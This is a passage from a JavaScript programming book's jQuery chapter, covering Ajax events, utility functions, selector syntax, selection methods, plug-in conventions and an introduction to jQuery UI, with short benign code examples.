`scriptCharset`
: For cross-origin "script" and "jsonp" requests that use a `<script>` element, this option specifies the value of the `charset` attribute of that element. It has no effect for regular XMLHttpRequest-based requests.

`traditional`
: jQuery 1.4 altered slightly the way that data objects were serialized to "application/x-www-form-urlencoded" strings (see the sidebar in §19.6.2.2 for details). Set this option to `true` if you need jQuery to revert to its old behavior.

`username`, `password`
: If a request requires password-based authentication, specify the username and password using these two options.

`xhr`
: This option specifies a factory function for obtaining an XMLHttpRequest. It is invoked with no arguments and must return an object that implements the XMLHttpRequest API. This very low-level hook allows you create your own wrapper around XMLHttpRequest, adding features or instrumentation to its methods.

19.6.4 Ajax Events

§19.6.3.2 explained that `jQuery.ajax()` has four callback options: `beforeSend`, `success`, `error`, and `complete`. In addition to invoking these individually specified callback functions, jQuery's Ajax functions also fire custom events at each of the same stages in a Ajax request. The following table shows the callback options and the corresponding events:

Callback	Event Type	Handler Registration Method
`beforeSend`	"ajaxSend"	`ajaxSend()`
`success`	"ajaxSuccess"	`ajaxSuccess()`
`error`	"ajaxError"	`ajaxError()`
`complete`	"ajaxComplete"	`ajaxComplete()`
	"ajaxStart"	`ajaxStart()`
	"ajaxStop"	`ajaxStop()`

You can register handlers for these custom Ajax events using the `bind()` method (§19.4.4) and the event type string shown in the second column or using the event registration methods shown in the third column. `ajaxSuccess()` and the other methods work just like the `click()`, `mouseover()`, and other simple event registration methods of §19.4.1.

Since the Ajax events are custom events, generated by jQuery rather than the browser, the Event object passed to the event handler does not contain much useful detail. The ajaxSend, ajaxSuccess, ajaxError, and ajaxComplete events are all triggered with additional arguments, however. Handlers for these events will all be invoked with two extra arguments after the event. The first extra argument is the XMLHttpRequest object and the second extra argument is the options object. This means, for example, that a handler for the ajaxSend event can add custom headers to an XMLHttpRequest object just like the `beforeSend` callback can. The ajaxError event is triggered with a third extra argument, in addition to the two just described. This final argument to the event handler is the Error object, if any, that was thrown when the error occurred. Surprisingly, these Ajax events are not passed jQuery's status code. If the handler for an ajaxSuccess event needs to distinguish "success" from "notmodified", for example, it will need to examine the raw HTTP status code in the XMLHttpRequest object.

The last two events listed in the table above are different from the others, most obviously because they have no corresponding callback functions, and also because they are triggered with no extra arguments. ajaxStart and ajaxStop are a pair of events that indicate the start and stop of Ajax-related network activity. When jQuery is not performing any Ajax requests and a new request is initiated, it fires an ajaxStart event. If other requests begin before this first one ends, those new requests do not cause a new ajaxStart event. The ajaxStop event is triggered when the last pending Ajax request is completed and jQuery is no longer performing any network activity. This pair of events can be useful

to show and hide some kind of "Loading..." animation or network activity icon. For example:

```
$("#loading_animation").bind({
    ajaxStart: function() { $(this).show(); },
    ajaxStop: function() { $(this).hide(); }
});
```

These ajaxStart and ajaxStop event handlers can be bound to any document element: jQuery triggers them globally (§19.4.6) rather than on any one particular element. The other four Ajax events, ajaxSend, ajaxSuccess, ajaxError, and ajaxComplete, are also normally triggered globally, so you can bind handlers to any element. If you set the `context` option in your call to `jQuery.ajax()`, however, these four events are triggered on the context element rather than globally.

Finally, remember that you can prevent jQuery from triggering any Ajax-related events by setting the `global` option to `false`. Despite its confusing name, setting `global` to `false` stops jQuery from triggering events on a `context` object as well as stopping jQuery from triggering events globally.

19.7 Utility Functions

The jQuery library defines a number of utility functions (as well as two properties) that you may find useful in your programs. As you'll see in the list below, a number of these functions now have equivalents in ECMAScript 5 (ES5). jQuery's functions predate ES5 and work in all browsers. In alphabetical order, the utility functions are:

`jQuery.browser`

The `browser` property is not a function but an object that you can use for client sniffing (§13.4.5). This object will have the property `msie` set to `true` if the browser is IE. The `mozilla` property will be true if the browser is Firefox or related. The `webkit` property will be true for Safari and Chrome, and the `opera` property will be true for Opera. In addition to this browser-specific property, the `version` property contains the browser version number. Client sniffing is best avoided whenever possible, but you can use this property to work around browser-specific bugs with code like this:

```
if ($.browser.mozilla && parseInt($.browser.version) < 4) {
    // Work around a hypothetical Firefox bug here...
}
```

`jQuery.contains()`

This function expects two document elements as its arguments. It returns `true` if the first element contains the second element and returns `false` otherwise.

`jQuery.each()`

Unlike the `each()` method which iterates only over jQuery objects, the `jQuery.each()` utility function iterates through the elements of an array or the properties of an object. The first argument is the array or object to be iterated.

The second argument is the function to be called for each array element or object property. That function will be invoked with two arguments: the index or name of the array element or object property, and the value of the array element or object property. The `this` value for the function is the same as the second argument. If the function returns `false`, `jQuery.each()` returns immediately without completing the iteration. `jQuery.each()` always returns its first argument.

`jQuery.each()` enumerates object properties with an ordinary `for/in` loop, so all enumerable properties are iterated, even inherited properties. `jQuery.each()` enumerates array elements in numerical order by index and does not skip the undefined properties of sparse arrays.

`jQuery.extend()`

This function expects objects as its arguments. It copies the properties of the second and subsequent objects into the first object, overwriting any properties with the same name in the first argument. This function skips any properties whose value is `undefined` or `null`. If only one object is passed, the properties of that object are copied into the `jQuery` object itself. The return value is the object into which properties were copied. If the first argument is the value `true`, a deep or recursive copy is performed: the second argument is extended with the properties of the third (and any subsequent) objects.

This function is useful for cloning objects and for merging options objects with sets of defaults:

```
var clone = jQuery.extend({}, original);
var options = jQuery.extend({}, default_options, user_options);
```

`jQuery.globalEval()`

This function executes a string of JavaScript code in the global context, as if it were the contents of a `<script>` element. (In fact, jQuery actually implements this function by creating a `<script>` element and temporarily inserting it into the document.)

`jQuery.grep()`

This function is like the ES5 `filter()` method of the Array object. It expects an array as its first argument and a predicate function as its second, and it invokes the predicate once for each element in the array, passing the element value and the element index. `jQuery.grep()` returns a new array that contains only those elements of the argument array for which the predicate returned `true` (or another truthy value). If you pass `true` as the third argument to `jQuery.grep()`, it inverts the sense of the predicate and returns an array of elements for which the predicate returned `false` or another falsy value.

`jQuery.inArray()`

This function is like the ES5 `indexOf()` method of the Array object. It expects an arbitrary value as its first argument and an array (or array-like object) as its second and returns the first index in the array at which the value appears, or -1 if the array does not contain the value.

`jQuery.isArray()`
Returns `true` if the argument is a native Array object.

`jQuery.isEmptyObject`
Returns `true` if the argument has no enumerable properties.

`jQuery.isFunction()`
Returns `true` if the argument is a native Function object. Note that in IE8 and earlier, browser methods like `Window.alert()` and `Element.attachEvent()` are not functions in this sense.

`jQuery.isPlainObject()`
Returns `true` if the argument is a "plain" object rather than an instance of some more specialized type or class of objects.

`jQuery.makeArray()`
If the argument is an array-like object, this function copies the elements of that object into a new (true) array and returns that array. If the argument is not array-like, this function simply returns a new array with the argument as its single element.

`jQuery.map()`
This function is like the ES5 `map()` method of the Array object. It expects an array or array-like object as its first argument and a function as its second. It passes each array element along with the index of that element to the function and returns a new array that collects the values returned by the function. `jQuery.map()` differs from the ES5 `map()` method in a couple of ways. If your mapping function returns `null`, that value will not be included in the result array. And if your mapping function returns an array, the elements of that array will be added to the result rather than the array itself.

`jQuery.merge()`
This function expects two arrays or array-like objects. It appends the elements of the second to the first and returns the first. The first array is modified, the second is not. Note that you can use this function to shallowly clone an array like this:

```
var clone = jQuery.merge([], original);
```

`jQuery.parseJSON()`
This function parses a JSON-formatted string and returns the resulting value. It throws an exception when passed malformed input. jQuery uses the standard `JSON.parse()` function in browsers that define it. Note that jQuery defines only a JSON parsing function, not a JSON serialization function.

`jQuery.proxy()`
This function is something like the ES5 `bind()` (§8.7.4) method of the Function object. It takes a function as its first argument and an object as its second and returns a new function that invokes the function as a method of the object. It does not perform partial application of arguments like the `bind()` method does.

`jQuery.proxy()` can also be invoked with an object as its first argument and a property name as its second. The value of the named property should be a function. Invoked in this way, the function `jQuery.proxy(o,n)` returns the same thing that `jQuery.proxy(o[n],o)` does.

`jQuery.proxy()` is intended for use with jQuery's event handler binding mechanism. If you bind a proxied function, you can unbind it using the original function.

`jQuery.support`
: This is a property like `jQuery.browser`, but it is intended for portable feature testing (§13.4.3) rather than more brittle browser testing. The value of `jQuery.support` is an object whose properties are all boolean values that specify the presence or absence of browser features. Most of these `jQuery.support` properties are low-level details used internally by jQuery. They may be of interest to plug-in writers, but most are not generally useful to application writers. One exception is `jQuery.support.boxModel`: this property is `true` if the browser uses the CSS standard "context-box" model and is `false` in IE6 and IE7 in quirks mode (see §16.2.3.1).

`jQuery.trim()`
: This function is like the `trim()` method added to strings in ES5. It expects a string as its only argument and returns a copy of that string with leading and trailing whitespace removed.

19.8 jQuery Selectors and Selection Methods

Throughout this chapter, we've been using the jQuery selection function, `$()`, with simple CSS selectors. It is now time to study the jQuery selector grammar in depth, along with a number of methods for refining and augmenting the set of selected elements.

19.8.1 jQuery Selectors

jQuery supports a fairly complete subset of the selector grammar defined by the CSS3 Selectors draft standard, with the addition of some nonstandard but very useful pseudoclasses. Basic CSS selectors were described in §15.2.5. We repeat that material here, and add explanations for more advanced selectors as well. Bear in mind that this section documents jQuery selectors. Many, but not all, of these selectors can also be used in CSS stylesheets.

The selector grammar has three layers. You've undoubtedly seen the simplest kind of selectors before. "#test" selects an element with an `id` attribute of "test". "blockquote" selects all `<blockquote>` elements in the document, and "div.note" selects all `<div>` elements with a `class` attribute of "note". Simple selectors can be combined into "selector combinations" such as "div.note>p" and "blockquote i" by separating them with a *combinator* character. And simple selectors and selector combinations can be grouped into comma-separated lists. These selector groups are the most general kind of selector

that we pass to `$()`. Before explaining selector combinations and selector groups, we must explain the syntax of simple selectors.

19.8.1.1 Simple selectors

A simple selector begins (explicitly or implicitly) with a tag type specification. If you are only interested in `<p>` elements, for example, your simple selector would begin with "p". If you want to select elements without regard to their tagname, use the wildcard "*" instead. If a selector does not begin with either a tagname or a wildcard, the wildcard is implicit.

The tagname or wildcard specifies an initial set of document elements that are candidates for selection. The portion of the simple selector that follows this type specification consists of zero or more filters. The filters are applied left-to-right, in the order that they appear, and each one narrows the set of selected elements. Table 19-1 lists the filters supported by jQuery.

Table 19-1. jQuery Selector Filters

Filter	Meaning
`#id`	Matches the element with an `id` attribute of `id`. Valid HTML documents never have more than one element with the same ID, so this filter is usually used as a stand-alone selector.
`.class`	Matches any elements whose `class` attribute (when interpreted as a list of words separated by spaces) includes the word `class`.
`[attr]`	Matches any elements that have an `attr` attribute (regardless of its value).
`[attr=val]`	Matches any elements that have an `attr` attribute whose value is `val`.
`[attr!=val]`	Matches elements that have no `attr` attribute, or whose `attr` attribute is not equal to `val` (jQuery extension).
`[attr^=val]`	Matches elements whose `attr` attribute has a value that begins with `val`.
`[attr$=val]`	Matches elements whose `attr` attribute has a value that ends with `val`.
`[attr*=val]`	Matches elements whose `attr` attribute has a value that contains `val`.
`[attr~=val]`	Matches elements whose `attr` attribute, when interpreted as a list of words separated by spaces, includes the word `val`. Thus the selector "div.note" is the same as "div[class~=note]".
`[attr|=val]`	Matches elements whose `attr` attribute has a value that begins with `val` and is optionally followed by a hyphen and any other characters.
`:animated`	Matches elements that are currently being animated by jQuery.
`:button`	Matches `<button type="button">` and `<input type="button">` elements (jQuery extension).
`:checkbox`	Matches `<input type="checkbox">` elements (jQuery extension). This filter is most efficient when explicitly prefixed with the input tag: "input:checkbox".
`:checked`	Matches input elements that are checked.
`:contains(text)`	Matches elements that contain the specified `text` (jQuery extension). The parentheses of this filter delimit the text—no quotation marks are required. The text of the elements being filtered is

Filter	Meaning
	determined with their `textContent` or `innerText` properties—this is the raw document text, with tags and comments stripped out.
`:disabled`	Matches disabled elements.
`:empty`	Matches elements that have no children, including no text content.
`:enabled`	Matches elements that are not disabled.
`:eq(n)`	Matches only the *n*th element of the document-order zero-indexed list of matches (jQuery extension).
`:even`	Matches elements with even indexes in the list. Since the first element has an index of 0, this actually matches the first, third, and fifth (and so on) elements (jQuery extension).
`:file`	Matches `<input type="file">` elements (jQuery extension).
`:first`	Matches only the first element in the list. Same as `:eq(0)` (jQuery extension).
`:first-child`	Matches only elements that are the first child of their parent. Note that this is completely different than `:first`.
`:gt(n)`	Matches elements in the document-order list of matches whose zero-based index is greater than *n* (jQuery extension).
`:has(sel)`	Matches elements that have a descendant matching the nested selector *sel*.
`:header`	Matches any header element: `<h1>`, `<h2>`, `<h3>`, `<h4>`, `<h5>`, or `<h6>` (jQuery extension).
`:hidden`	Matches any element that is not visible on the screen: roughly those elements whose `offset Width` and `offsetHeight` are 0.
`:image`	Matches `<input type="image">` elements. Note that this does not match `<img>` elements (jQuery extension).
`:input`	Matches user input elements: `<input>`, `<textarea>`, `<select>`, and `<button>` (jQuery extension).
`:last`	Matches the last element in the list of matches (jQuery extension).
`:last-child`	Matches any element that is the last child of its parent. Note that this is not the same as `:last`.
`:lt(n)`	Matches all elements in the document-order list of matches whose zero-based index is less than *n* (jQuery extension).
`:not(sel)`	Matches elements that are *not* matched by the nested selector *sel*.
`:nth(n)`	A synonym for `:eq(n)` (jQuery extension).
`:nth-child(n)`	Matches elements that are the *n*th child of their parent. *n* can be a number, the word "even", the word "odd", or a formula. Use `:nth-child(even)` to select elements that are the second and fourth (and so on) in their parent's list of children. Use `:nth-child(odd)` to select elements that are first, third, and so on. Most generally, *n* can be a formula of the form *x*n or *x*n+*y* where *x* and *y* are integers and n is the literal letter n. Thus `nth-child(3n+1)` selects the first, fourth, and seventh (and so on) elements. Note that this filter uses one-based indexes, so an element that is the first child of its parent is considered odd and is matched by `3n+1`, not `3n`. Contrast this with the `:even` and `:odd` filters that filter based on an element's zero-based position in the list of matches.
`:odd`	Matches elements with odd (zero-based) indexes in the list. Note that elements 1 and 3 are the second and fourth matched element, respectively (jQuery extension).

Filter	Meaning
`:only-child`	Matches elements that are the only child of their parent.
`:parent`	Matches elements that are parents. This is the opposite of `:empty` (jQuery extension).
`:password`	Matches `<input type="password">` elements (jQuery extension).
`:radio`	Matches `<input type="radio">` elements (jQuery extension).
`:reset`	Matches `<input type="reset">` and `<button type="reset">` elements (jQuery extension).
`:selected`	Matches `<option>` elements that are selected. Use `:checked` for selected checkboxes and radio buttons (jQuery extension).
`:submit`	Matches `<input type="submit">` and `<button type="submit">` elements (jQuery extension).
`:text`	Matches `<input type="text">` elements (jQuery extension).
`:visible`	Matches all elements that are currently visible: roughly those that have nonzero `offsetWidth` and `offsetHeight`. This is the opposite of `:hidden`.

Notice that some of the filters listed in Table 19-1 accept arguments within parentheses. The following selector, for example, selects paragraphs that are the first or every third subsequent child of their parent, as long as they contain the word "JavaScript" and do not contain an `<a>` element.

```
p:nth-child(3n+1):text(JavaScript):not(:has(a))
```

Filters typically run most efficiently if prefixed with a tag type. Rather than simply using ":radio" to select radio buttons, for example, it is better to use "input:radio". The exception is ID filters, which are most efficient when they stand alone. The selector "#address" is typically more efficient than the more explicit "form#address", for example.

19.8.1.2 Selector combinations

Simple selectors can be combined using special operators or "combinators" to represent relationships between elements in the document tree. Table 19-2 lists the selector combinations supported by jQuery. These are the same selector combinations that CSS3 supports.

Table 19-2. jQuery Selector Combinations

Combination	Meaning
`A B`	Selects document elements that match selector B that are descendants of elements that match selector A. Note that the combinator character is simply whitespace for this combination.
`A > B`	Selects document elements that match selector B that are direct children of elements that match selector A.
`A + B`	Selects document elements that match selector B and immediately follow (ignoring text nodes and comments) elements that match selector A.
`A ~ B`	Selects document elements matching B that are sibling elements that come after elements that match A.

Here are some example selector combinations:

```
"blockquote i"        // Matches an <i> element within a <blockquote>
"ol > li"             // An <li> element as a direct child of an <ol>
"#output + *"         // The sibling after the element with id="output"
"div.note > h1 + p"   // A <p> following a <h1> inside a <div class="note">
```

Note that selector combinations are not limited to combinations of two selectors: three or more selectors are allowed, too. Selector combinations are processed left to right.

19.8.1.3 Selector groups

A selector group, which is the kind of selector that we pass to `$()` (or use in a stylesheet), is simply a comma-separated list of one or more simple selectors or selector combinations. A selector group matches all elements that match any of the selector combinations in the group. For our purposes here, even a simple selector can be considered a selector combination. Here are some example selector groups:

```
"h1, h2, h3"          // Matches <h1>, <h2>, and <h3> elements
"#p1, #p2, #p3"       // Matches elements with id p1, p2, and p3
"div.note, p.note"    // Matches <div> and <p> elements with class="note"
"body>p,div.note>p"   // <p> children of <body> and <div class="note">
```

Note that the CSS and jQuery selector syntax uses parentheses for some of the filters in simple selectors, but it does not allow parentheses to be used more generally for grouping. You cannot put a selector group or selector combination in parentheses and treat it like a simple selector, for example:

```
(h1, h2, h3)+p        // Not legal
h1+p, h2+p, h3+p      // Write this instead
```

19.8.2 Selection Methods

In addition to the selector grammar supported by `$()`, jQuery defines a number of selection methods. Most of the jQuery methods we've seen so far in this chapter perform some action on the selected elements. The selection methods are different: they alter the set of selected elements by refining it, augmenting it, or just using it as a starting point for a new selection.

This section describes these selection methods. You'll notice that many of the methods provide the same functionality as the selector grammar itself.

The simplest way to refine a selection is by position within the selection. `first()` returns a jQuery object that contains only the first selected element, and `last()` returns a jQuery object that contains only the last element. More generally, the `eq()` method returns a jQuery object that contains only the single selected element at the specified index. (In jQuery 1.4, negative indexes are allowed and count from the end of the selection.) Note that these methods return a jQuery object with a single element. This is different than regular array indexing, which returns a single element with no jQuery object wrapped around it:

```
var paras = $("p");
paras.first()         // Select only the first <p> element
paras.last()          // Select only the last <p>
paras.eq(1)           // Select the second <p>
paras.eq(-2)          // Select the second to last <p>
paras[1]              // The second <p> element, itself
```

The general method for refining a selection by position is `slice()`. The jQuery `slice()` method works like the `Array.slice()` method: it accepts a start and an end index (with negative indexes measured from the end of the array) and returns a jQuery object that contains elements from the start index up to, but not including, the end index. If the end index is omitted, the returned object includes all elements at or after the start index:

```
$("p").slice(2,5)      // Select the 3rd, 4th, and 5th <p> elements
$("div").slice(-3)     // The last three <div> elements
```

`filter()` is a general-purpose selection filtering method, and you can invoke it in three different ways:

- If you pass a selector string to `filter()`, it returns a jQuery object containing only those selected elements that also match that selector.
- If you pass another jQuery object to `filter()`, it returns a new jQuery object that contains the intersection of the two jQuery objects. You can also pass an array of elements, or even a single document element, to `filter()`.
- If you pass a predicate function to `filter()`, that function is called for each matched element, and `filter()` returns a jQuery object containing only those elements for which the predicate returned `true` (or any truthy value). The predicate function is called with the element as its `this` value and the element index as an argument. (See also `jQuery.grep()` in §19.7.)

```
$("div").filter(".note")                          // Same as $("div.note")
$("div").filter($(".note"))                       // Same as $("div.note")
$("div").filter(function(idx) { return idx%2==0 })  // Same as $("div:even")
```

The `not()` method is just like `filter()`, except that it inverts the sense of the filter. If you pass a selector string to `not()`, it returns a new jQuery object containing only the selected elements that do *not* match the selector. If you pass a jQuery object or an array of elements or a single element, `not()` returns all of the selected elements except for the elements you've explicitly excluded. If you pass a predicate function to `not()`, it is invoked just as it is for `filter()`, but the returned jQuery object includes only those elements for which the predicate returns `false` or a falsy value:

```
$("div").not("#header, #footer");  // All <div> elements except two special ones
```

In jQuery 1.4, the `has()` method is another way to refine a selection. If you pass a selector, it returns a new jQuery object that contains only the selected elements that have a descendant that matches the selector. If you pass a document element to `has()`, it refines the selection to match only those elements that are ancestors of the specified element:

```
$("p").has("a[href]")    // Paragraphs that include links
```

The `add()` method augments a selection rather than filtering or refining it. You can invoke `add()` with any arguments (other than a function) that you would pass to `$()`. `add()` returns the originally selected elements plus whatever elements would be selected (or created) by the arguments if those arguments were passed to `$()`. `add()` removes duplicate elements and sorts the combined selection so that the elements are in document order:

```
// Equivalent ways to select all <div> and all <p> elements
$("div, p")            // Use a selector group
$("div").add("p")      // Pass a selector to add()
$("div").add($("p"))   // Pass a jQuery object to add()
var paras = document.getElementsByTagName("p");  // An array-like object
$("div").add(paras);   // Pass an array of elements to add()
```

19.8.2.1 Using a selection as context

The `filter()`, `add()`, and `not()` methods described above perform set intersection, union, and subtraction operations on independent selections. jQuery defines a number of other selection methods that use the current selection as the context. For each selected element, these methods make a new selection using the selected element as the context or starting point, and then return a new jQuery object that contains the union of those selections. As with the `add()` method, duplicates are removed and the elements are sorted so that they are in document order.

The most general of this category of selection methods is `find()`. It searches the descendants of each of the currently selected elements for elements that match the specified selector string, and it returns a new jQuery object that represents that new set of matching descendants. Note that the newly selected elements are not merged with the existing selection; they are returned as a new set of elements. Note also that `find()` is not the same as `filter()`, which simply narrows the currently selected set of elements without selecting new elements:

```
$("div").find("p")  // find <p> elements inside <div>s.  Same as $("div p")
```

The other methods in this category return new jQuery objects that represent the children, siblings, or parents of each of the currently selected elements. Most accept an optional selector string as an argument. With no selector, they return all appropriate children, siblings, or parents. With the selector, they filter the list to return only those that match.

The `children()` method returns the immediate child elements of each selected element, filtering them with an optional selector:

```
// Find all <span> elements that are direct children of the elements with
// ids "header" and "footer". Same as $("#header>span,#footer>span")
$("#header, #footer").children("span")
```

The `contents()` method is similar to `children()`, but it returns all child nodes, including text nodes, of each element. Also, if any of the selected elements is an `<iframe>`,

contents() returns the document object for the content of that <iframe>. Note that contents() does not accept an optional selector string—this is because it returns document nodes that are not elements, and selector strings only describe element nodes.

The next() and prev() methods return the next and previous sibling of each selected element that has one. If a selector is specified, the sibling is selected only if it matches the selector:

```
$("h1").next("p")           // Same as $("h1+p")
$("h1").prev()              // Sibling elements before <h1> elements
```

nextAll() and prevAll() return all siblings following and all siblings preceding (if there are any) each selected element. And the siblings() method returns all siblings of each selected element (elements are not considered siblings of themselves). If a selector is passed to any of these methods, only siblings that match are returned:

```
$("#footer").nextAll("p")    // All <p> siblings following the #footer element
$("#footer").prevAll()       // All siblings before the #footer element
```

In jQuery 1.4 and later, the nextUntil() and prevUntil() methods take a selector argument and select all siblings following or preceding the selected element until a sibling is found that matches the selector. If you omit the selector, these methods work just like nextAll() and prevAll() with no selector.

The parent() method returns the parent of each selected element:

```
$("li").parent()          // Parents of list items, like <ul> and <ol> elements
```

The parents() method returns the ancestors (up to the <html> element) of each selected element. Both parent() and parents() accept an optional selector string argument:

```
$("a[href]").parents("p") // <p> elements that contain links
```

parentsUntil() returns the ancestors of each selected element until the first ancestor that matches the specified selector. The closest() method requires a selector string and returns the closest ancestor (if any) of each selected element that matches the selector. For this method, an element is considered an ancestor of itself. In jQuery 1.4, you can also pass an ancestor element as the second argument to closest(), to prevent jQuery from climbing the ancestor tree beyond the specified element:

```
$("a[href]").closest("div")            // Innermost <div>s that contain links
$("a[href]").parentsUntil(":not(div)") // All <div> wrappers directly around <a>
```

19.8.2.2 Reverting to a previous selection

To facilitate method chaining, most jQuery object methods return the object on which they are called. The methods we've covered in this section all return new jQuery objects, however. Method chaining works, but you must keep in mind that methods called later in the chain may be operating on a different set of elements than those near the start of the chain.

The situation is a little more complicated than this, however. When the selection methods described here create and return a new jQuery object, they give that object an

internal reference to the older jQuery object from which it was derived. This creates a linked list or stack of jQuery objects. The `end()` method pops this stack, returning the saved jQuery object. Calling `end()` in a method chain restores the set of matched elements to its previous state. Consider the following code:

```
// Find all <div> elements, then find the <p> elements inside them.
// Highlight the <p> elements and then give the <div> elements a border.

// First, without method chaining
var divs = $("div");
var paras = divs.find("p");
paras.addClass("highlight");
divs.css("border", "solid black 1px");

// Here's how we could do it with a method chain
$("div").find("p").addClass("highlight").end().css("border", "solid black 1px");

// Or we can reorder the operations and avoid the call to end()
$("div").css("border", "solid black 1px").find("p").addClass("highlight");
```

If you ever want to manually define the set of selected elements in a way that is compatible with the `end()` method, pass the new set of elements as an array or array-like object to the `pushStack()` method. The elements you specify become the new selected elements, and the previous set of selected elements is pushed on the stack, where they can be restored with `end()`:

```
var sel = $("div");                                // Select all <div> elements
sel.pushStack(document.getElementsByTagName("p")); // Modify it to all <p> elts
sel.end();                                         // Restore <div> elements
```

Now that we've covered the `end()` method and the selection stack that it uses, there is one final method we can cover. `andSelf()` returns a new jQuery object that includes all of the elements of the current selection plus all of the elements (minus duplicates) of the previous selection. `andSelf()` works like the `add()` method, and "addPrev" might be a more descriptive name for it. As an example, consider the following variant on the code above: it highlights `<p>` elements and the `<div>` elements that hold them, and then adds a border to the `<div>` elements:

```
$("div").find("p").andSelf().          // find <p>s in <div>s, and merge them
    addClass("highlight").             // Highlight them all
    end().end().                       // Pop stack twice back to $("div")
    css("border", "solid black 1px");  // Give the divs a border
```

19.9 Extending jQuery with Plug-ins

jQuery is written so that it is easy to add new functionality. Modules that add new functionality are called *plug-ins*, and you can find many of them at *http://plugins.jquery.com*. jQuery plug-ins are just ordinary files of JavaScript code, and to use them in your web pages, you just include them with a `<script>` element as you would any other JavaScript library (you must include plug-ins after you include jQuery itself, of course).

It is almost trivially easy to write your own jQuery extensions. The trick is to know that `jQuery.fn` is the prototype object for all jQuery objects. If you add a function to this object, that function becomes a jQuery method. Here is an example:

```
jQuery.fn.println = function() {
    // Join all the arguments into a space-separated string
    var msg = Array.prototype.join.call(arguments, " ");
    // Loop through each element in the jQuery object
    this.each(function() {
        // For each one, append the string as plain text, then append a <br/>.
        jQuery(this).append(document.createTextNode(msg)).append("<br/>");
    });
    // Return the unmodified jQuery object for method chaining
    return this;
};
```

With that `jQuery.fn.println` function defined, we can now invoke a `println()` method on any jQuery object like this:

```
$("#debug").println("x = ", x, "; y = ", y);
```

It is common practice to add new methods to `jQuery.fn`. If you find yourself using the `each()` method to "manually" iterate through the elements in a jQuery object and perform some kind of operation on them, ask yourself whether it might make sense to refactor your code so that the `each()` invocation is moved into an extension method. If you follow basic modular coding practices when writing your extension and abide by a few jQuery-specific conventions, you can call your extension a plug-in and share it with others. These are the jQuery plug-in conventions to be aware of:

- Don't rely on the `$` identifier: the including page may have called `jQuery.noConflict()` and `$()` may no longer be a synonym for the `jQuery()` function. In short plug-ins like the one shown above, you can just use `jQuery` instead of `$`. If you are writing a longer extension, you are likely to wrap it all within one anonymous function to avoid the creation of global variables. If you do so, you can use the idiom of passing the jQuery as an argument to your anonymous function, and receiving that value in a parameter named `$`:

  ```
  (function($) {  // An anonymous function with one parameter named $
      // Put your plugin code here
  }(jQuery));     // Invoke the function with the jQuery object as its argument
  ```

- If your extension method does not return a value of its own, be sure to return a jQuery object that can be used in a method chain. Usually this will just be the `this` object and you can return it unmodified. In the example above, the method ended with the line `return this;`. The method could have been made slightly shorter (and less readable) following another jQuery idiom: returning the result of the `each()` method. Then the `println()` method would have included the code `return this.each(function() {...});`
- If your extension method has more than a couple of parameters or configuration options, allow the user to pass options in the form of an object (as we saw with the `animate()` method in §19.5.2 and the `jQuery.ajax()` function in §19.6.3).

- Don't pollute the jQuery method namespace. Well-behaved jQuery plug-ins define the smallest number of methods consistent with a usable API. It is common for jQuery plug-ins to define only a single method in `jQuery.fn`. This one method takes a string as its first argument and interprets that string as the name of a function to pass its remaining arguments to. When you are able to limit your plug-in to a single method, the name of that method should be the same as the name of the plug-in. If you must define more than one method, use the plug-in name as a prefix for each of your method names.
- If your plug-in binds event handlers, put all of those handlers in an event namespace (§19.4.4). Use your plug-in name as the namespace name.
- If your plug-in uses the `data()` method to associate data with elements, place all of your data values in a single object, and store that object as a single value, giving it the same name as your plug-in.
- Save your plug-in code in a file with a name of the form "jquery.plugin.js", replacing "plugin" with the name of your plug-in.

A plug-in can add new utility functions to jQuery by adding them to the jQuery object itself. For example:

```
// This method prints its arguments (using the println() plugin method)
// to the element with id "debug". If no such element exists, it is created
// and added to the document.
jQuery.debug = function() {
    var elt = jQuery("#debug");         // Find the #debug element
    if (elt.length == 0) {              // Create it if it doesn't exist
        elt = jQuery("<div id='debug'><h1>Debugging Output</h1></div>");
        jQuery(document.body).append(elt);
    }
    elt.println.apply(elt, arguments);  // Output the arguments to it
};
```

In addition to defining new methods, it is also possible to extend other parts of the jQuery library. In §19.5, for example, we saw that it is possible to add new effect duration names (in addition to "fast" and "slow") by adding properties to `jQuery.fx.speeds` and that it is possible to add new easing functions by adding them to `jQuery.easing`. Plug-ins can even extend the jQuery CSS selector engine! You can add new pseudoclass filters (like `:first` and `:input`) by adding properties to the `jQuery.expr[':']` object. Here is an example that defines a new `:draggable` filter that returns only elements that have a `draggable=true` attribute:

```
jQuery.expr[':'].draggable = function(e) {  return e.draggable === true; };
```

With this selector defined, we can select draggable images with `$("img:draggable")` instead of the more verbose `$("img[draggable=true]")`.

As you can see from the code above, a custom selector function is passed a candidate DOM element as its first argument. It should return `true` if the element matches the selector and `false` otherwise. Many custom selectors need only the one element argument, but they are actually invoked with four arguments. The second argument is an

integer index that gives the position of this element within an array of candidate elements. That array is passed as the fourth argument and your selector must not modify it. The third argument is an interesting one: it is the array result of a call to the `RegExp.exec()` method. The fourth element of this array (at index 3) is the value, if any, within parentheses after the pseudoclass filter. The parentheses and any quotes inside are stripped, leaving only the argument string. Here, for example, is how you could implement a `:data(x)` pseudoclass that returns `true` only for arguments that have a `data-x` attribute (see §15.4.3):

```
jQuery.expr[':'].data = function(element, index, match, array) {
    // Note: IE7 and before do not implement hasAttribute()
    return element.hasAttribute("data-" + match[3]);
};
```

19.10 The jQuery UI Library

jQuery limits itself to providing core DOM, CSS, event handling, and Ajax functionality. These provide an excellent foundation for building higher-level abstractions, such as user interface widgets, and the jQuery UI library does just that. Full coverage of jQuery UI is beyond the scope of this book, and all we can do here is offer a simple overview. You can find the library and its documentation at *http://jqueryui.com*.

As its name implies, jQuery UI defines a number of user interface widgets: autocompletion input fields, date pickers for entering dates, accordions and tabs for organizing information, sliders and progress bars for visually displaying numbers, and modal dialogs for urgent communication with the user. In addition to these widgets, jQuery UI implements more general "interactions", which allow any document element to be easily made draggable, droppable, resizable, selectable, or sortable. Finally, jQuery UI adds a number of new visual effects methods (including the ability to animate colors) to those offered by jQuery itself, and it defines lots of new easing functions as well.

Think of jQuery UI as a bunch of related jQuery plug-ins packed into a single JavaScript file. To use it, simply include the jQuery UI script in your web page after including the jQuery code. The Download page at *http://jqueryui.com* allows you to select the components you plan to use and will build a custom download bundle for you that may reduce your page load times compared to the full jQuery UI library.

jQuery UI is fully themeable, and its themes take the form of CSS files. So in addition to loading the jQuery UI JavaScript code into your web pages, you'll have to include the CSS file for your selected theme as well. The jQuery UI website features a number of prebuilt themes and also a "ThemeRoller" page that allows you to customize and download your own theme.

jQuery UI widgets and interactions are structured as jQuery plug-ins, and each defines a single jQuery method. Typically, when you call this method on an existing document element, it transforms that element into the widget. For example, to alter a text input

